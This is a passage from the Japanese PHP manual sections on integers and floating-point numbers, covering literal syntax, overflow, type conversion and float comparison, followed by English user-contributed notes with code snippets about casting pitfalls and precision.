echo intval(true) ;
echo '"'.true.'"' ;

should produce

00000"0"11221"1"

but instead produces

000""11221"1"

In other words, the only way to output the underlying zero or use it in a string is to use 'false+false' or pass it through intval().  No such tricks are required to get at the 1 that underlies true.

The whole idea of symbolic constants is that the underlying value *always* replaces them during translation, and thus anywhere you would otherwise have to use some obscure "magic number" such as 191, you can use a symbolic constant that makes sense, such as TOTAL_NATIONS.

Exactly what php gets out of breaking this rule was not explained to me.
artktec at gmail dot com 27-Sep-2007 09:37
Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT.

So you can do something like:

<?php
$t = !0; // This will === true;
$f = !1; // This will === false;
?>

And non-integers are casted as if to bool, then NOT.

Example:

<?php
$a = !array();      // This will === true;
$a = !array('a');   // This will === false;
$s = !"";           // This will === true;
$s = !"hello";      // This will === false;
?>

To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool).

Example:

<?php
$a = !!array();   // This will === false; (as expected)
/*
This can be a substitute for count($array) > 0 or !(empty($array)) to check to see if an array is empty or not  (you would use: !!$array).
*/

$status = (!!$array ? 'complete' : 'incomplete');

$s = !!"testing"; // This will === true; (as expected)
/*
Note: normal casting rules apply so a !!"0" would evaluate to an === false
*/
?>
terminatorul at gmail dot com 29-Apr-2007 02:21
Beware that "0.00" converts to boolean TRUE !

You may get such a string from your database, if you have columns of type DECIMAL or CURRENCY. In such cases you have to explicitly check if the value is != 0 or to explicitly convert the value to int also, not only to boolean.


整数

int は、? = {..., -2, -1, 0, 1, 2, ...} という集合です。

以下も参照ください。

  • 任意精度整数 / GMP
  • 浮動小数点数
  • 任意精度整数 / BCMath

構文

整数 (integer) は、10 進数(基数 10)、16 進数 (基数 16)、8 進数 (基数 8) あるいは 2 進数 (基数 2) 表記で指定可能です。オプションで、符号(-または+)を前に付けることが可能です。

8 進数表記を使用する場合、数の前に 0 (ゼロ) を付ける必要があります。また、16 進数表記を使用するには、数の前に 0x を付ける必要があります。 2 進数表記を使用する場合、数の前に 0b を付ける必要があります。

PHP 7.4.0 以降では、可読性を向上させるために整数リテラルの桁の間にアンダースコア (_) を含めることができるようになりました。 アンダースコアは PHP の scanner が除去します。

例1 整数リテラル

<?php
$a = 1234; // 10進整数
$a = 0123; // 8進数 (10進数の83と等価)
$a = 0x1A; // 16進数 (10進数の26と等価)
$a = 0b11111111; // 2進数 (10進数の255と等価)
$a = 1_234_567; // 10進数 (PHP 7.4.0 以降)
?>

PHP 7.4.0 以降で使用可能な整数リテラルの形式は以下のように定義されています。 (これより前のバージョンでは、アンダースコアは許されませんでした)

decimal     : [1-9][0-9]*(_[0-9]+)*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+(_[0-9a-fA-F]+)*

octal       : 0[0-7]+(_[0-7]+)*

binary      : 0[bB][01]+(_[01]+)*

integer     : decimal
            | hexadecimal
            | octal
            | binary

整数のサイズはプラットフォームに依存しますが、 約 20 億 (32 ビット符号付) が一般的な値です。 64 ビットプラットフォームでの通常の最大値は、およそ 9*10^18 (900京) になります。 PHP は符号無し整数をサポートしていません。 整数のサイズは定数 PHP_INT_SIZE で、 整数の最大値は定数 PHP_INT_MAX で、 整数の最小値は定数 PHP_INT_MIN で決まります。

整数のオーバーフロー

int型の範囲外の数を指定した場合、かわりに floatとして解釈されます。また、結果が int型の範囲外の数となるような計算を行うと floatが代わりに返されます。

例2 32 ビットシステムにおける整数のオーバーフロー

<?php
$large_number = 2147483647;
var_dump($large_number);                     // int(2147483647)

$large_number = 2147483648;
var_dump($large_number);                     // float(2147483648)

$million = 1000000;
$large_number =  50000 * $million;
var_dump($large_number);                     // float(50000000000)
?>

例3 64 ビットシステムにおける整数のオーバーフロー

<?php
$large_number = 9223372036854775807;
var_dump($large_number);                     // int(9223372036854775807)

$large_number = 9223372036854775808;
var_dump($large_number);                     // float(9.2233720368548E+18)

$million = 1000000;
$large_number =  50000000000000 * $million;
var_dump($large_number);                     // float(5.0E+19)
?>

PHP には整数の割り算を行う演算子はありません。 整数の割り算を行うには、intdiv() 関数を使って下さい。 1/2 は float 型の 0.5 になります。 0 に近い方向の整数値に値を丸めるためにキャストを使用することができ、 また、round() 関数を使用することもできます。

<?php
var_dump(25/7);         // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7));  // float(4)
?>

整数への変換

int に値を明示的に変換するには、キャスト (int) または (integer) のどちらかを使用してください。しかし、多くの場合、演算子、関数、制御構造が int 引数を必要とする場合、値は自動的に変換されるため、 キャストを使用する必要はありません。 関数 intval() を用いて値を整数に変換することも可能です。

resource を int に変換すると、その結果は一意なリソース番号となります。 これは、その resource に対して PHP が実行時に割り当てた番号です。

型の相互変換 を参照ください。

booleans から

false は、0 (ゼロ) となり、 true は、1 となります。

浮動小数点数から

float から整数に変換する場合、その数はゼロのほうに丸められます。

float が整数の範囲 (通常は、32 ビットプラットフォームでは +/- 2.15e+9 = 2^31、64 ビットプラットフォームでは +/- 9.22e+18 = 2^63 ) を越える場合、結果は undefined となります。これは、 その float が正しい整数の結果を得るために十分な精度を得られなかったからです。 この場合、警告も通知も発生しません!

注意:

NaN や無限大を int にキャストした結果は、常にゼロとなります。

警告

未知の端数を int にキャストしないでください。 この場合、予期しない結果となることがあります。

<?php
echo (int) ( (0.1+0.7) * 10 ); // 7が出力されます!
?>

より詳細な情報については、 float の精度に関する注意を参照ください。

文字列から

文字列が 数値形式の文字列 の場合は、対応する整数値に解決されます。 そうでない場合は、ゼロ (0) に変換されます。

NULL から

null は、常に0に変換されます。

他の型から

警告

整数への変換の動作は、他の型については定義されません。 現在の動作は、その値がまず 論理値に変換された 場合と同じです。しかし、この動作は予告なく変更されることがありえるので、 これを前提にしてはいけません。

User Contributed Notes

ganlvtech at qq dot com 07-Aug-2020 07:34
Be aware of float to int cast overflow

<?php

// You may expected these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(true)
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(9223372036854775807)

// But actually, it likes these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(-9223372036854775808)   <-----
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(false)                 <-----
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(-9223372036854775808)   <-----

?>

These overflows are dangerous when you try to compare it with zero, or substract it from another value (e.g. money).
kuzawinski dot marcin_NOSPAM at gmail dot com 03-Aug-2020 01:02
Integer literals may be decimal, octal, hexadecimal or binary, but integer values have single representation;

<?php

var_dump(010); // int(8) NOT int(010)
var_dump(0x10); // int(16) NOT int(0x10)
var_dump(0b10); // int(2) NOT int(0b10)

?>

This is the reason why casting integer to string gives us always a decimal:

<?php

var_dump((string) 010); // string(8) NOT string(010)
var_dump((string) 0x10); // string(16) NOT string(0x10)
var_dump((string) 0b10); // string(2) NOT string(0b10)

?>
13453814063 at 163 dot com 28-Dec-2017 03:10
$e = 0x8000000000000000;
$e2 = 0b1000000000000000000000000000000000000000000000000000000000000000;
if ($e == $e2){
    echo "e==e2<br>";
}else{
    echo "e!=e2<br>";
}
pirnt "e!=e2"
----------------------------
echo decbin($e) . "<br>";
echo decbin($e2) . "<br>";
the result is :
1000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111110000000000
egwayjen at gmail dot com 27-Nov-2017 10:01
"There is no integer division operator in PHP". But since PHP 7, there is the intdiv function.
dhairya lakhera 20-Nov-2017 04:04
-------------------------------------------------------------------------
Question :
var_dump((int) 010);  //Output 8

var_dump((int) "010"); //output 10

First one is octal notation so the output is correct. But what about the when converting "010" to integer. it should be also output 8 ?
--------------------------------------------------------------------------
Answer :

Casting to an integer using (int) will always cast to the default base, which is 10.

Casting a string to a number this way does not take into account the many ways of formatting an integer value in PHP (leading zero for base 8, leading "0x" for base 16, leading "0b" for base 2). It will simply look at the first characters in a string and convert them to a base 10 integer. Leading zeroes will be stripped off because they have no meaning in numerical values, so you will end up with the decimal value 10 for (int)"010".

Converting an integer value between bases using (int)010 will take into account the various ways of formatting an integer. A leading zero like in 010 means the number is in octal notation, using (int)010 will convert it to the decimal value 8 in base 10.

This is similar to how you use 0x10 to write in hexadecimal (base 16) notation. Using (int)0x10 will convert that to the base 10 decimal value 16, whereas using (int)"0x10" will end up with the decimal value 0: since the "x" is not a numerical value, anything after that will be ignored.

If you want to interpret the string "010" as an octal value, you need to instruct PHP to do so. intval("010", 8) will interpret the number in base 8 instead of the default base 10, and you will end up with the decimal value 8. You could also use octdec("010") to convert the octal string to the decimal value 8. Another option is to use base_convert("010", 8, 10) to explicitly convert the number "010" from base 8 to base 10, however this function will return the string "8" instead of the integer 8.

Casting a string to an integer follows the same the logic used by the intval function:

Returns the integer value of var, using the specified base for the conversion (the default is base 10).
intval allows specifying a different base as the second argument, whereas a straight cast operation does not, so using (int) will always treat a string as being in base 10.

php > var_export((int) "010");
10
php > var_export(intval("010"));
10
php > var_export(intval("010", 8));
8
litbai 25-Feb-2016 08:26
<?php
$ipArr = explode('.', $ipString);
$ipVal = ($ipArr[0] << 24)
       + ($ipArr[1] << 16)
       + ($ipArr[2] << 8)
       + $ipArr[3]
        ;
?>
1. the priority of bit op is lower than '+',so there should be brackets.
2. there is no unsighed int in PHP, if you use 32 bit version，the code above will get negative result when the first position of IP string greater than 127.
3. what the code actually do is calculate the integer value of transformed 32 binary bit from IP string.
dewi at dewimorgan dot com 09-May-2015 07:41
Note that the soft-typing of numbers in PHP means that some things become very difficult. For example, efficiently emulating the more common linear congruential generators (LCGs) for fast, deterministic, pseudo-randomness. The naive code to create the next value in a sequence (for power-of-2 values of $m) is:

$seed = ($seed * $a + $c) % $m;

...where $m, $a, and $c are values and data types carefully chosen such that repeating this operation will eventually generate every value in the range $0 to $m, with no repetition.

I can find no good commonly used LCGs which use PHP-compatible values. The LCG values used in by rand() in systems like Borland Delphi, Virtual Pascal, MS Visual/Quick C/C++, VMS's MTH$RANDOM, old versions of glibc, Numerical Recipes, glibc, GCC, ANSI C, Watcom, Digital Mars, CodeWarrior, IBM VisualAge C/C++, java.util.Random, Newlib, MMX... *all* fail when ported, for one of two reasons, and sometimes both:

 - In PHP on 32 bit machines and all Windows machines, $m = 2^32 or larger requires UInt or even UInt64, or the result becomes negative.

- Large $a multiplied by an integer seed gets converted to a float64, but the number can be too long for the 53-bit mantissa, and it drops the least significant digits... but the LCG code above requires that the most significant digits should be lost.

These are two classes of problem to beware of when porting integer math to PHP,  and I see no clean and efficient way to avoid either one.

So if designing a cross-platform system that must work in PHP, you must select LCG values that fit the following criteria:
$m = 2^31 or less (PHP limitation). Recommend: 2^31.
$a = Less than 2^22 (PHP limitation); $a-1 divisible by all prime factors of $m; $a-1 divisible by 4 if $m is. Recommend: 1+(4*(any prime <= 1048573)).
$c = smaller than (2^53-($m*$a)) (PHP limitation); relatively prime with $m. Recommend: any prime <= 23622320123.
Anonymous 09-Jan-2015 09:31
Converting to an integer works only if the input begins with a number
(int) "5txt" // will output the integer 5
(int) "before5txt" // will output the integer 0
(int) "53txt" // will output the integer 53
(int) "53txt534text" // will output the integer 53
php at richardneill dot org 28-Feb-2013 06:25
A leading zero in a numeric literal means "this is octal". But don't be confused: a leading zero in a string does not. Thus:
$x = 0123;          // 83
$y = "0123" + 0     // 123
Richard 16-Apr-2011 09:53
Integer arithmetic in PHP is more accurate than one might think. On a 32-bit system, the largest value that can be held in an INT is  2147483647.
However, a FLOAT can accurately hold integer values up to 10000000000000.
(this is because the significand precision of a double is 53-bits).
php at keith tyler dot com 13-Apr-2011 11:08
If you need to convert a numeric string (or more to the point, an object that represents a numeric value) that is greater then PHP_INT_MAX, and you don't have GMP or BCMath installed, you can cast to float.

For example, when using SimpleXMLElement, you sometimes have to cast the extracted values, such as xml attributes, because they are returned as SimpleXMLElements and not their values' native types. While print() has no trouble with converting them, other functions, such as max(), might not.

But if you cast such a value with (int), and it is over PHP_INT_MAX, you will just get PHP_INT_MAX (and vice versa for negative numbers).

The Q&D no-muss solution is to cast to (float) instead.
pere dot cil at wanadoo dot fr 15-Mar-2011 01:59
Please also note that the maximum stored in the integer depends on the platform / compilation; on windows xp 32 bits, the following value:

0x5468792130ABCDEF

echoes to:

6.0822444802213E+18 (cast to float)

On a fully 64 bits system, it echoes to:

6082244480221302255
sean dot gilbertson at gmail dot com 08-Jan-2009 01:57
You can make a signed, negative integer an unsigned integer (in string form) by doing the following:

<?php
$unsigned = sprintf('%u', -5);

echo $unsigned; // prints 4294967291
?>
Hamza Burak Ylmaz 24-Oct-2008 02:36
<?php
//This is a simple function to return number of digits of an integer.

//function declaration
function count_digit($number)
{
    $digit = 0;
    do
    {
        $number /= 10;      //$number = $number / 10;
        $number = intval($number);
        $digit++;
    }while($number!=0);
    return $digit;
}

//function call
$num = 12312;
$number_of_digits = count_digit($num); //this is call :)
echo $number_of_digits;
//prints 5
?>
wbcarts at juno dot com 06-Oct-2008 06:25
PHP offers a slew of built-in functions and automatic type-casting routines which can get pretty complicated. But most of the time, you still have to take matters into your own hands and allow PHP to do its thing. In that case, and something that has NOT been mentioned, is how to construct your code. To keep things simple, I divide all my scripts in half. The top half gives my scripts the "capability" they need, and the lower half is the actual code to be "run" or "executed".

<?php
/*
 * build the program's capability - define variables and functions...
 */
$item_label = '';        // type string
$item_price = 0.0;       // type float
$item_qty = 1;           // type integer
$item_total = 0.0;       // type float - to set use calculate()

function calculate(){
  global $item_price, $item_qty, $item_total;
  $item_price = number_format($item_price, 2);
  $item_total = number_format(($item_price * $item_qty), 2);
}

function itemToString() {
  global $item_label, $item_price, $item_qty, $item_total;
  return "$item_label [price=\$$item_price, qty=$item_qty, total=\$$item_total]";
}

/*
 * run the program - set data, call methods...
 */
$item_label = "Coffee";
$item_price = 3.89;
$item_qty = 2;
calculate();           // set $item_total
echo itemToString();   // -> Coffee [price=$3.89, qty=2, total=$7.78]

$item_label = "Chicken";
$item_price = .80;     // per lb.
$item_qty = 3.5;       // lbs.
calculate();           // set $item_total
echo itemToString();   // -> Chicken [price=$0.80, qty=3.5, total=$2.80]
?>
Note: All type-casting is done by PHP's built-in number_format() method. This allows our program to enter any number (float or int) on item price or quantity in the runtime part of our script. Also, if we explicitly cast values to integer in the capability part of our script, then we start getting results that may not be desirable for this program. For example, if in the calculate method we cast item_qty to integer, then we can no longer sell chicken by the pound!
eric 11-Jun-2008 01:50
In response to the comment by me at troyswanson dot net:

-2147483648 falls into the range of 32 bit signed integers yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

This is probably very similar to the MS C bug which also treats -2147483648 as an UNSIGNED because it thinks it's out of the range of a signed int.

The problem is that the parser does not view "-x" as a single token, but rather as two, "-" and "x".  Since "x" is out of the range of an INT, it is promoted to float, even though in this unique case, "-x" is in the range of an int.

The best cure is probably to replace "-2147483648" with "0x80000000", as that is the hexadecimal equivalent of the same number.

Hope that helps explain what's going on

Peace

 - Eric / fez
darkshire 16-Nov-2007 04:56
d_n at NOSPAM dot Loryx dot com
13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

This can be written in a bit more efficient way:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0]<<24
            + $ipArr[1]<<16
            + $ipArr[2] <<8
            + $ipArr[3]
            ;
?>

shift is more cheaper.
d_n at NOSPAM dot Loryx dot com 13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

IP as BIGINT read from db back to dotted form:

Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor (<division>)'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so
we can enjoy the bitshifts.

<?php
        $ipVal = $row['client_IP'];
        $ipArr = array(0 =>
                    floor(  $ipVal               / 0x1000000) );
        $ipVint   = $ipVal-($ipArr[0]*0x1000000); // for clarity
        $ipArr[1] = ($ipVint & 0xFF0000)  >> 16;
        $ipArr[2] = ($ipVint & 0xFF00  )  >> 8;
        $ipArr[3] =  $ipVint & 0xFF;
        $ipDotted = implode('.', $ipArr);
?>
Jacek 10-Mar-2007 04:51
On 64 bits machines max integer value is 0x7fffffffffffffff (9 223 372 036 854 775 807).
09-Mar-2007 07:26
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
echo(dechex("2724838310"));
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
echo(dechex("2724838310"+0));
will print 'A269BBA6'
popefelix at gmail dot com 21-Dec-2006 06:50
Be careful when using integer conversion to test something to see if it evaluates to a positive integer or not.  You might get unexpected behaviour.

To wit:
<?php
error_reporting(E_ALL);
require_once 'Date.php';

$date = new Date();
print "\$date is an instance of " . get_class($date) . "\n";
$date += 0;
print "\$date is now $date\n";
var_dump($date);

$foo = new foo();
print "\$foo is an instance of " . get_class($foo) . "\n";
$foo += 0;
print "\$foo is now $foo\n";
var_dump($foo);

class foo {
    var $bar = 0;
    var $baz = "la lal la";
    var $bak;

    function foo() {
        $bak = 3.14159;
    }
}
?>

After the integer conversion, you might expect both $foo and $date to evaluate to 0.  However, this is not the case:

$date is an instance of Date

Notice: Object of class Date could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 7
$date is now 1
int(1)
$foo is an instance of foo

Notice: Object of class foo could not be converted to int in /home/kpeters/work/sketches/ObjectSketch.php on line 13
$foo is now 1
int(1)

This is because the objects are first converted to boolean before being converted to int.
rustamabd@gmail-you-know-what 12-Dec-2006 01:42
Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example:
<?php
    $i = 6887129852;
    echo "i=$i\n";
    echo "i%36=".($i%36)."\n";
    echo "alternative i%36=".($i-floor($i/36)*36)."\n";
?>
Will output:
i=6.88713E+009
i%36=-24
alternative i%36=20
jmw254 at cornell dot edu 25-Aug-2006 10:14
Try this one instead:

function iplongtostring($ip)
{
    $ip=floatval($ip); // otherwise it is capped at 127.255.255.255

    $a=($ip>>24)&255;
    $b=($ip>>16)&255;
    $c=($ip>>8)&255;
    $d=$ip&255;

    return "$a.$b.$c.$d";
}
rickard_cedergren at yahoo dot com 27-Jan-2005 01:15
When doing large subtractions on 32 bit unsigned integers the result sometimes end up negative. My example script converts a IPv4 address represented as a 32 bit unsigned integer to a dotted quad (similar to ip2long()), and adds a "fix" to the operation.

   /**************************
    * int_oct($ip)
    * Convert INTeger rep of IP to octal (dotted quad)
    */
   function int_oct($ip) {

      /* Set variable to float */
      settype($ip, float);

      /* FIX for silly PHP integer syndrome */
      $fix = 0;
      if($ip > 2147483647) $fix = 16777216;

      if(is_numeric($ip)) {
         return(sprintf("%u.%u.%u.%u",
                $ip / 16777216,
                (($ip % 16777216) + $fix) / 65536,
                (($ip % 65536) + $fix / 256) / 256,
                ($ip % 256) + $fix / 256 / 256
                )
     );
      }
      else {
         return('');
      }
   }
23-Dec-2003 10:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

    function parse_unsigned_int($string) {
        $x = (float)$string;
        if ($x > (float)2147483647)
            $x -= (float)"4294967296";
        return (int)$x;
    }


浮動小数点数

浮動小数点数 (あるいは "float", "double", "実数") は、次の構文により指定できます。

<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
$d = 1_234.567; // PHP 7.4.0 以降
?>

PHP 7.4.0 以降の規約(これより前のバージョンでは、アンダースコアは許されませんでした):

LNUM          [0-9]+(_[0-9]+)*
DNUM          ([0-9]*(_[0-9]+)*[\.]{LNUM}) | ({LNUM}[\.][0-9]*(_[0-9]+)*)
EXPONENT_DNUM (({LNUM} | {DNUM}) [eE][+-]? {LNUM})

float の大きさはプラットフォーム依存です。ただし、通常はおよそ 10 進数で 14 桁の精度があり、最大値は およそ 1.8e308 (これは 64ビット IEEE フォーマットです) となります。

警告

浮動小数点数の精度

浮動小数点数の精度は有限です。 システムに依存しますが、PHP は通常 IEEE 754 倍精度フォーマットを使います。 この形式は、1.11e-16 のオーダーでの丸め処理で誤差が発生します。 複雑な算術演算をすると、誤差はさらに大きくなるでしょう。そしてもちろん、 いくつかの演算を組み合わせる場合にも誤差を考慮しなければなりません。

さらに、十進数では正確な小数で表せる有理数、たとえば 0.1 や 0.7 は、 二進数の浮動小数点数としては正確に表現できません。 これは、仮数部をいくら大きくしても同じです。 したがって、それを内部的な二進数表現に変換する際には、どうしても多少精度が落ちてしまいます。 その結果、不思議な結果を引き起こすことがあります。たとえば、 floor((0.1+0.7)*10) の結果はたいてい 7 となるでしょう。おそらくは 8 を想定していらっしゃるでしょうが、そのようにはなりません。 これは、(この計算結果の) 内部的な値が 7.9999999999999991118... のようになっているからです。

よって、小数の最後の桁を信用してはいけませんし、 小数を直接比較して等しいかどうかを調べてはいけません。より高い精度が必要な場合には、 任意精度数学関数または gmp 関数を代わりに使用してください。

もっと「シンプルな」説明が欲しければ、» floating point guide を見るといいでしょう。"Why don't my numbers add up? (なんで数字が足されないの?)" というタイトルが付いています。

float への変換

文字列から float への変換

文字列が 数値形式の文字列 の場合、対応する float の値に解決されます。 そうでない場合、ゼロ(0)に変換されます。

他の型から float への変換

文字列以外の値については、 まず最初に int に変換された後、 float に変換されます。 詳細は 整数への変換 を参照下さい。

注意:

型によっては、int に変換したときの動作が未定義のものがあります。 この場合、float に変換する場合の動作も未定義です。

float の比較

先ほど警告したように、浮動小数点数値が等しいかどうかを比較するのには問題があります。 これは、浮動小数点数値の内部表現形式に起因するものです。 しかし、この制限を回避して浮動小数点数値の値を比較する方法もあります。

浮動小数点数値が等しいかどうかを調べるには、比較時の丸め誤差の上界を用います。 この値は計算機イプシロンあるいは丸め単位と呼ばれ、 計算時に扱える最小の差分を表します。

$a と $b は、精度 5 桁では等しくなります。

<?php
$a = 1.23456789;
$b = 1.23456780;
$epsilon = 0.00001;

if(abs($a-$b) < $epsilon) {
    echo "true";
}
?>

NaN

数値演算の結果が、定数 NAN で表される値になることがあります。 この定数は、浮動小数点演算における未定義の値あるいは表現不能な値を表します。 この値を他の値と比較すると、緩やかな比較および厳密な比較のいずれでも結果は false になります。 自分自身と比較した場合も含みますが、true と比較した場合は除きます。

NAN はさまざまな値の数を表すものなので、 NAN を他の値を比較してはいけません。たとえ自分自身とであってもです。 チェックをする場合には、かわりに is_nan() を使います。

User Contributed Notes

jrf_php dot net at NO_SPAM dot adviesenzo dot nl 03-Mar-2018 07:09
Just on the off-chance that someone is ever looking for it - here a regular expression which will work in PHP to recognize both floats and integers:

<?php

$array = array('1263576', '1.234', '1.2e3', '7E-10', 'not a number', 'a 1234 as part of a string', 'here\'s a float: 35E1');
$regex = '`(?:
    # Exponential floats
    [+-]?(?:(?:(?P<LNUM>[0-9]+)|(?P<DNUM>([0-9]*\.(?P>LNUM)|(?P>LNUM)\.[0-9]*)))[eE][+-]?(?P>LNUM))
    # Or ordinary floats
    |(?P>DNUM)
    # Or integers
    |(?P>LNUM)
)`x';

foreach ( $array as $string) {
    if (preg_match($regex, $string, $matches) === 1) {
        var_dump($matches[0]);
    }
}
?>

Will output:
string(7) "1263576"
string(5) "1.234"
string(5) "1.2e3"
string(5) "7E-10"
string(4) "1234"
string(4) "35E1"
munteanutraian at gmail dot com 22-Feb-2018 10:34
Comment on
"$x = 8 - 6.4;  // which is equal to 1.6
$y = 1.6;
var_dump($x == $y); // is not true"

You can get a string representation with var_export($var)

var_export($x);
echo PHP_EOL;

var_export($y);
echo PHP_EOL;

will output:
1.5999999999999996
1.6000000000000001

Hence, $x not equals $y
alterg79 at gmail dot com 13-Mar-2017 09:12
For php7.1.2, NAN is interpreted like TRUE when is not a strict compare, so "Any loose or strict comparisons of this value against any other value, including itself, but except TRUE, will have a result of FALSE." it is partially true:

Code:
    var_dump(NAN || FALSE);
    var_dump(NAN && TRUE);
    var_dump(NAN === FALSE);
    var_dump(NAN === TRUE);
    var_dump(NAN === "FDS");
    var_dump(NAN === NAN);
    var_dump(NAN == NAN);
    var_dump(NAN == FALSE);
    var_dump(NAN == TRUE);

result:

bool(true)
bool(true)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(true)
yobberowich at gmail dot com 10-Mar-2017 09:49
@catalyn

You write about 8-6.4 being not equal to 1.6. The true reason is that absolute epsilon value depends on the exponent and that conversion to float rounds down to next possible value. 6.4 has a bigger rounding error than 1.6 and the resulting error from computing 8-6.4 is bigger than rounding error of 1.6 itself. (float)1.6 is the number closest to being 1.6 while (float)(8-6.4) is bigger than 1.6 - conversion to float rounds down. So, 1.6 will be like 1.599999 and 8-6.4 will be somewhat like 1.600001

The solution would be to use decimal math for constant expressions.
lwiwala at gmail dot com 07-Mar-2017 03:49
To compare two numbers use:

$epsilon = 1e-6;

if(abs($firstNumber-$secondNumber) < $epsilon){
   // equals
}
Eduard 07-Sep-2016 02:23
In the gettype() manual, it says "(for historical reasons "double" is returned in case of a float, and not simply "float") ".

However, I think that internally PHP sometimes uses the C double definition (i.e. a double is twice the size of a float/real). See the example below:

<?
//Function required to reverse a string on blocks of two
function strrev_x($s, $x = 2) {
    if ($x <= 1) {
        return strrev($s);
    } else {
        return (implode(array_reverse(array_map('implode', array_chunk(str_split($s), $x)))));
    }
}

echo 'double pack'. PHP_EOL;
$tst = pack('d', '1.6');
var_dump(strrev_x(bin2hex($tst)));
$tst = pack('d', 8-6.4);
var_dump(strrev_x(bin2hex($tst)));
echo 'float pack'. PHP_EOL;
$tst = pack('f', '1.6');
var_dump(strrev_x(bin2hex($tst)));
$tst = pack('f', 8-6.4);
var_dump(strrev_x(bin2hex($tst)));
?>
(The strrev_x-bin2hex combination is just to give printable characters.)

Given that PHP treats doubles and floats identically, I'd expected the same string as output, however, the output is:

double pack
string(16) "3ff999999999999a" //Here you see that there is a minute difference...
string(16) "3ff9999999999998"
float pack
string(8) "3fcccccd" //... which doesn't exist here
string(8) "3fcccccd"

So, as an alternative to using
  $float1 === $float2
one could use
  pack('f', $float1) === pack ('f', $float2)
with a big footnote that one should really remember that one is *reducing* your accuracy of the comparison. AFAIK is this the only way (apart from epsilon methods) to securely compare two floats.
luizvid at gmail dot com 04-May-2015 12:06
An effective way to compare two real numbers (including floating point numbers) with high accuracy and still be able to set precision is using the BC Math function bccomp();

For instance:
<?php
    $a = 1.23456789;
    $b = 1.23456780;
    $precision = 5;

    if(bccomp($a, $b, $precision)  === 0 ) {
        echo "true";
    } // true
?>
<?php
    $a = sprintf('%.17f', 0.1+0.2);
    $b = 0.3;

    if(bccomp($a, $b, 17)  !== 0 ) {
        echo "FALSE";
    } // FALSE
?>
nathanb at php dot net 03-Apr-2015 05:45
An extremely small and simple example of this is:
<?php
  echo intval(19.31 * 100);
?>
Adam H 03-Oct-2014 02:35
I've just come across this issue with floats when writing a function for pricing. When converting from string to a float, with 2 digits of precision, the issue with comparing floats can pop up and give inconsistent results due to the conversion process.

An easier way rather than relying on the mentioned epsilon method is to use number_format (at least for me as I'll remember it!).

Example function that can return an unexpected result:

if((float)$a == (float)$b) {
echo true;
} else {
echo false;
}

echo's false in this example.

Using number format here to trim down the precision (2 point precision being mostly used for currencies etc, although higher precisions should be correctly catered for by number_format), will return an expected result:

if(number_format((float)$a, 2) == number_format((float)$b, 2)) {
echo true;
} else {
echo false;
}

Correctly echo's true.
catalin dot luntraru at gmail dot com 18-Nov-2013 03:44
$x = 8 - 6.4;  // which is equal to 1.6
$y = 1.6;
var_dump($x == $y); // is not true

PHP thinks that 1.6 (coming from a difference) is not equal to 1.6. To make it work, use round()

var_dump(round($x, 2) == round($y, 2)); // this is true

This happens probably because $x is not really 1.6, but 1.599999.. and var_dump shows it to you as being 1.6.
jack at surfacefinishtech dot com 25-Jan-2013 07:40
<?php
/** hex2float
 * (Convert 8 digit hexadecimal value to float (single-precision 32bits)
 * Accepts 8 digit hexadecimal values in a string
 * @usage:
 * hex2float32n("429241f0"); returns -> "73.128784179688"
 * */
function hex2float($number) {
    $binfinal = sprintf("%032b",hexdec($number));
    $sign = substr($binfinal, 0, 1);
    $exp = substr($binfinal, 1, 8);
    $mantissa = "1".substr($binfinal, 9);
